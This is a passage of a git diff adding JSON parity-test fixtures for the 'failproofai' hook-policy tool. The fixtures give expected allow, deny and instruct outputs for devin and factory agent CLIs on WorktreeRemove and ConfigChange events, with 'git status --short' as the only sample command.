b/__tests__/parity/fixtures/devin/WorktreeRemove/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..ddb8c6a0 --- /dev/null +++ b/__tests__/parity/fixtures/devin/WorktreeRemove/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "devin", + "decision_kind": "allow-with-reason", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/WorktreeRemove/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/devin/WorktreeRemove/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..f84942f5 --- /dev/null +++ b/__tests__/parity/fixtures/devin/WorktreeRemove/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "devin", + "decision_kind": "deny", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/WorktreeRemove/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/devin/WorktreeRemove/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..98583840 --- /dev/null +++ b/__tests__/parity/fixtures/devin/WorktreeRemove/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "devin", + "decision_kind": "deny", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/WorktreeRemove/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/devin/WorktreeRemove/deny__tool-present__one-policy.json new file mode 100644 index 00000000..f383310b --- /dev/null +++ b/__tests__/parity/fixtures/devin/WorktreeRemove/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "devin", + "decision_kind": "deny", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/WorktreeRemove/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/devin/WorktreeRemove/deny__tool-present__two-policies.json new file mode 100644 index 00000000..2e5f7a60 --- /dev/null +++ b/__tests__/parity/fixtures/devin/WorktreeRemove/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "devin", + "decision_kind": "deny", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/WorktreeRemove/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/devin/WorktreeRemove/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..738341ad --- /dev/null +++ b/__tests__/parity/fixtures/devin/WorktreeRemove/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "devin", + "decision_kind": "instruct", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"WorktreeRemove\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/WorktreeRemove/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/devin/WorktreeRemove/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..caee6f2c --- /dev/null +++ b/__tests__/parity/fixtures/devin/WorktreeRemove/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "devin", + "decision_kind": "instruct", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"WorktreeRemove\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/WorktreeRemove/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/devin/WorktreeRemove/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..584475fc --- /dev/null +++ b/__tests__/parity/fixtures/devin/WorktreeRemove/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "devin", + "decision_kind": "instruct", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"WorktreeRemove\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/WorktreeRemove/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/devin/WorktreeRemove/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..e992e4df --- /dev/null +++ b/__tests__/parity/fixtures/devin/WorktreeRemove/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "devin", + "decision_kind": "instruct", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"WorktreeRemove\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/ConfigChange/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/factory/ConfigChange/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..158b8fb7 --- /dev/null +++ b/__tests__/parity/fixtures/factory/ConfigChange/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "factory", + "decision_kind": "allow-silent", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/ConfigChange/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/factory/ConfigChange/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..ee89fef4 --- /dev/null +++ b/__tests__/parity/fixtures/factory/ConfigChange/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "factory", + "decision_kind": "allow-silent", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/ConfigChange/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/factory/ConfigChange/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..25c61fac --- /dev/null +++ b/__tests__/parity/fixtures/factory/ConfigChange/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "factory", + "decision_kind": "allow-silent", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/ConfigChange/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/factory/ConfigChange/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..25b65a28 --- /dev/null +++ b/__tests__/parity/fixtures/factory/ConfigChange/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "factory", + "decision_kind": "allow-silent", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/ConfigChange/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/factory/ConfigChange/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..8973781c --- /dev/null +++ b/__tests__/parity/fixtures/factory/ConfigChange/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "factory", + "decision_kind": "allow-with-reason", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/ConfigChange/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/factory/ConfigChange/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..a7b85e99 --- /dev/null +++ b/__tests__/parity/fixtures/factory/ConfigChange/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "factory", + "decision_kind": "allow-with-reason", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/ConfigChange/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/factory/ConfigChange/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..c1bfe4b7 --- /dev/null +++ b/__tests__/parity/fixtures/factory/ConfigChange/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "factory", + "decision_kind": "allow-with-reason", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/ConfigChange/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/factory/ConfigChange/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..2c9b101a --- /dev/null +++ b/__tests__/parity/fixtures/factory/ConfigChange/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "factory", + "decision_kind": "allow-with-reason", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/ConfigChange/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/factory/ConfigChange/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..2401bf31 --- /dev/null +++ b/__tests__/parity/fixtures/factory/ConfigChange/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "factory", + "decision_kind": "deny", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "Blocked operation by failproofai because: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend, as per the policy configured by the user\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/ConfigChange/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/factory/ConfigChange/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..2be82351 --- /dev/null +++ b/__tests__/parity/fixtures/factory/ConfigChange/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "factory", + "decision_kind": "deny", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": 